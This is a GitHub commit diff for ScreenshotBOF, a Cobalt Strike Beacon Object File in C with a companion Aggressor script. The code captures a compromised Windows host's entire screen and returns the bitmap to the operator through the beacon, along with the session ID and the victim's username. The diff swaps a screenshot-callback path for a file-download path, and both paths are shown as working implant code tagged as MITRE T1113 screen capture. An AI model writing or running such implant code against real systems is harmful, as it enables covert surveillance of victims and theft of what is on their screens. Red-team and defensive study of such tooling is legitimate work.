Revert "Callback screenshot"

This commit is contained in:
CodeX 2022-11-01 18:32:38 +08:00 committed by GitHub
parent 1f0ad54b5c
commit 9de5381c0a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
7 changed files with 23 additions and 289 deletions

View File

@ -5,80 +5,8 @@
#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Gdi32.lib")
/*Download Screenshot*/
void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) {
// Function modified by @BinaryFaultline
// This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs
// Special thanks to CCob doing the research around the BeaconOutput options, making this much easier for me.
// private void WriteSessionUserNameTitle(BinaryWriter bw, int session, string userName, string title) {
// bw.Write(session);
// bw.Write(title.Length);
// bw.Write(Encoding.UTF8.GetBytes(title));
// bw.Write(userName.Length);
// bw.Write(Encoding.UTF8.GetBytes(userName));
// }
// var screenshotCallback = new BinaryWriter(new MemoryStream());
// screenshotCallback.Write(jpgData.Length);
// screenshotCallback.Write(jpgData);
// WriteSessionUserNameTitle(screenshotCallback, session, userName, title);
int messageLength = 4 + jpgLen + 4 + 4 + titleLen + 4 + usernameLen;
char* packedData = (char*)MSVCRT$malloc(messageLength);
// //pack on jpgLen/fileSize as 4-byte int second
packedData[0] = jpgLen & 0xFF;
packedData[1] = (jpgLen >> 8) & 0xFF;
packedData[2] = (jpgLen >> 16) & 0xFF;
packedData[3] = (jpgLen >> 24) & 0xFF;
int packedIndex = 4;
// //pack on the bytes of jpg/returnData
for (int i = 0; i < jpgLen; i++) {
packedData[packedIndex] = jpg[i];
packedIndex++;
}
//pack on session as 4-byte int first
packedData[packedIndex] = session & 0xFF;
packedData[packedIndex + 1] = (session >> 8) & 0xFF;
packedData[packedIndex + 2] = (session >> 16) & 0xFF;
packedData[packedIndex + 3] = (session >> 24) & 0xFF;
//pack on titleLength as 4-byte int second
packedData[packedIndex + 4] = titleLen & 0xFF;
packedData[packedIndex + 5] = (titleLen >> 8) & 0xFF;
packedData[packedIndex + 6] = (titleLen >> 16) & 0xFF;
packedData[packedIndex + 7] = (titleLen >> 24) & 0xFF;
packedIndex += 8;
//pack on the bytes of title
for (int i = 0; i < titleLen; i++) {
packedData[packedIndex] = windowTitle[i];
packedIndex++;
}
//pack on userLength as 4-byte int second
packedData[packedIndex] = usernameLen & 0xFF;
packedData[packedIndex + 1] = (usernameLen >> 8) & 0xFF;
packedData[packedIndex + 2] = (usernameLen >> 16) & 0xFF;
packedData[packedIndex + 3] = (usernameLen >> 24) & 0xFF;
packedIndex += 4;
//pack on the bytes of user
for (int i = 0; i < usernameLen; i++) {
packedData[packedIndex] = username[i];
packedIndex++;
}
BeaconOutput(CALLBACK_SCREENSHOT, packedData, messageLength);
return;
}
char downloadfilename[] = "screenshot.bmp";
/*Download File*/
void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) {
//Intializes random number generator to create fileId
@ -224,7 +152,7 @@ BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#pragma endregion
BOOL SaveHBITMAPToFile(HBITMAP hBitmap, int getOnlyProfile)
BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
{
HDC hDC;
int iBits;
@ -299,30 +227,7 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, int getOnlyProfile)
memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize);
// The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those
// Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded
DWORD session = -1;
KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session);
char* user;
user = (char*)getenv("USERNAME");
char title[] = "Right-click this and \"Render BMP\" to view";
char fileName[] = "ScreenshotBOF - Downloaded BMP.bmp";
int userLength = MSVCRT$_snprintf(NULL,0,"%s",user);
int titleLength = MSVCRT$_snprintf(NULL,0,"%s",title);
int fileNameLength = MSVCRT$_snprintf(NULL,0,"%s",fileName);
// If the profile is get-only (termination in post client is URI based), download it as a screenshot, otherwise, download it as a file
if (getOnlyProfile > 0){
BeaconPrintf(0x0, "[+] URI post profile detected. Saving bitmap screenshot to Screenshots tab. Note, this takes a little while...");
downloadScreenshot((char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize, session,(char*)title, titleLength, (char*)user, userLength);
} else {
BeaconPrintf(0x0, "[+] Post body profile detected. Saving bitmap screenshot to Downloads tab...");
downloadFile((char*)fileName, fileNameLength, (char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize);
}
//downloadScreenshot((char *)bmp_bmp, bmp_bmp_len, session,(char*)title, titleLength, (char*)user, userLength);
downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize));
//WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL);
/* clean up */
@ -335,9 +240,10 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, int getOnlyProfile)
#ifdef BOF
void go(char* buff, int len) {
datap parser;
int getOnlyProfile;
char * downloadfilename;
BeaconDataParse(&parser, buff, len);
getOnlyProfile = BeaconDataInt(&parser);
downloadfilename = BeaconDataExtract(&parser, NULL);
BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to %s",downloadfilename);
int x1, y1, x2, y2, w, h;
// get screen dimensions
x1 = GetSystemMetrics(SM_XVIRTUALSCREEN);
@ -364,9 +270,11 @@ void go(char* buff, int len) {
CloseClipboard();
*/
SaveHBITMAPToFile(hBitmap, getOnlyProfile);
BeaconPrintf(0x0, "[+] Screenshot downloaded...");
BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap...");
LPCSTR filename = (LPCSTR)downloadfilename;
SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename);
//BeaconPrintf(0x0, "[+] Printscreen bitmap saved to %s",downloadfilename);
// clean up
SelectObject(hDC, old_obj);
DeleteDC(hDC);

View File

@ -47,7 +47,6 @@ DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
#define CALLBACK_FILE 0x02
#define CALLBACK_FILE_WRITE 0x08
#define CALLBACK_FILE_CLOSE 0x09
#define CALLBACK_SCREENSHOT 0x03
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);

View File

@ -231,10 +231,6 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFe
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer);
DECLSPEC_IMPORT char* WINAPI MSVCRT$getenv(const char *varname);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentProcessId();
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ProcessIdToSessionId(DWORD dwProcessId, DWORD *pSessionId);
@ -362,11 +358,6 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ProcessIdToSessionId(DWORD dwProcessId, DW
#define GetUserNameW ADVAPI32$GetUserNameW
#define IsProcessorFeaturePresent KERNEL32$IsProcessorFeaturePresent
#define getenv MSVCRT$getenv
#define GetCurrentProcessId KERNEL32$GetCurrentProcessId
#define ProcessIdToSession KERNEL32$ProcessIdToSessionId
#else
#endif

BIN
bin/BOF/ScreenshotBOF.x64.obj Executable file → Normal file

Binary file not shown.

BIN
bin/BOF/ScreenshotBOF.x86.obj Executable file → Normal file

Binary file not shown.

View File

@ -1,166 +1,3 @@
import javax.imageio.ImageIO;
import java.awt.*;
import javax.swing.JLabel;
import javax.swing.ImageIcon;
import java.io.ByteArrayInputStream;
# This function takes in a screenshot and creates a JLabel to display the screenshot
sub display_image {
local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name');
$screenshot = $1;
$screenshot_bytes = $screenshot['data'];
$bid = $screenshot['bid'];
$user = $screenshot['user'];
$computer = beacon_info($bid, 'computer');
$client = getAggressorClient();
$MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth];
$MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight];
$bais = [new ByteArrayInputStream: $screenshot_bytes];
$image = [ImageIO read: $bais];
$width = [$image getWidth];
$height = [$image getHeight];
$icon = [new ImageIcon: $image];
if ($width > $MAX_IMAGE_WIDTH) {
$width = $MAX_IMAGE_WIDTH;
}
if ($height > $MAX_IMAGE_HEIGHT) {
$height = $MAX_IMAGE_HEIGHT;
}
$scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]];
$component = [new JLabel: $scaledIcon];
$tab_name = "ScreenshotBOF - $user\@$computer";
addTab($tab_name, $component, "...");
}
# This function takes in a screenshot and creates a JLabel to display the screenshot
sub display_downloaded {
local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name');
$screenshot_bytes = $1;
$file_name = $2;
$client = getAggressorClient();
$MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth];
$MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight];
$bais = [new ByteArrayInputStream: $screenshot_bytes];
$image = [ImageIO read: $bais];
$width = [$image getWidth];
$height = [$image getHeight];
$icon = [new ImageIcon: $image];
if ($width > $MAX_IMAGE_WIDTH) {
$width = $MAX_IMAGE_WIDTH;
}
if ($height > $MAX_IMAGE_HEIGHT) {
$height = $MAX_IMAGE_HEIGHT;
}
$scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]];
$component = [new JLabel: $scaledIcon];
$tab_name = "ScreenshotBOF - $file_name";
addTab($tab_name, $component, "...");
}
# Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab
on screenshots {
local('$screenshot $data');
$screenshot = $1;
$data = $screenshot['data'];
# Check the magic header of the data to see if it's a BMP
if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
display_image($screenshot);
}
}
popup_clear("downloads");
popup downloads {
# do nothing if nothing is selected
if (size($1) == 0) {
return;
}
item "Interact" {
openOrActivate($1[0]["bid"]);
}
menu "&Color" {
local('$ids');
$ids = map({ return $1["id"]; }, $1);
insert_component(colorPanel("accents", $ids));
}
item "Render &BMP" {
local('$download $lpath $name $count');
foreach $count => $download ($1) {
($lpath, $name) = values($download, @("lpath", "name"));
sync_download($lpath, script_resource("file $+ .$count"), lambda({
$handle = openf($1);
$data = readb($handle, -1);
closef($handle);
#println(charAt($data, 0));
#println(charAt($data, 1));
if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
display_downloaded($data, $1);
} else {
show_error("File is not a Bitmap image");
}
deleteFile($1);
}, \$name));
}
}
}
popup_clear("screenshots");
popup screenshots {
item "&Interact" {
openOrActivate($1["bid"]);
}
menu "&Color" {
insert_component(colorPanel("accents", $1["id"]));
}
item "&Save" {
prompt_file_save($1["id"] . ".jpg", lambda({
local('$handle');
$handle = openf("> $+ $1");
writeb($handle, $data);
closef($handle);
show_message("Screenshot saved.");
}, $data => $1["object"]["data"]));
}
separator();
item "&Remove" {
redactobject($1["id"]);
}
item "Render &BMP" {
$data = $1["object"]['data'];
# Check the magic header of the data to see if it's a BMP
if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
display_image($1["object"]);
} else {
show_error("Image is not a Bitmap. It should render in Screenshots tab.");
}
}
}
#Register command
beacon_command_register(
"screenshot_bof",
@ -169,24 +6,23 @@ beacon_command_register(
);
alias screenshot_bof {
local('$bid $barch $handle $data $args $target_pid');
$bid = $1;
local('$barch $handle $data $args $target_pid');
if (size(@_) != 2)
{
berror($1, "Please specify a filename. e.g. screenshot_bof screen.bmp");
return;
}
# figure out the arch of this session
$barch = barch($bid);
$barch = barch($1);
# read in the right BOF file
$handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj"));
$data = readb($handle, -1);
closef($handle);
# figure out if the profile chooses to chunk the post or not (getOnlyProfile)
$profile = data_query("metadata")["c2profile"];
$getOnlyProfile = [$profile shouldChunkPosts];
println($getOnlyProfile);
$args = bof_pack($bid, "i", $getOnlyProfile);
$args = bof_pack($1, "z",$2);
# announce what we're doing
btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113");
btask($1, "Running screenshot BOF by (@codex_tf2)");
# execute it.
beacon_inline_execute($bid, $data, "go", $args);
beacon_inline_execute($1, $data, "go", $args);
}

BIN
bin/screenshotBOF.zip Normal file

Binary file not shown.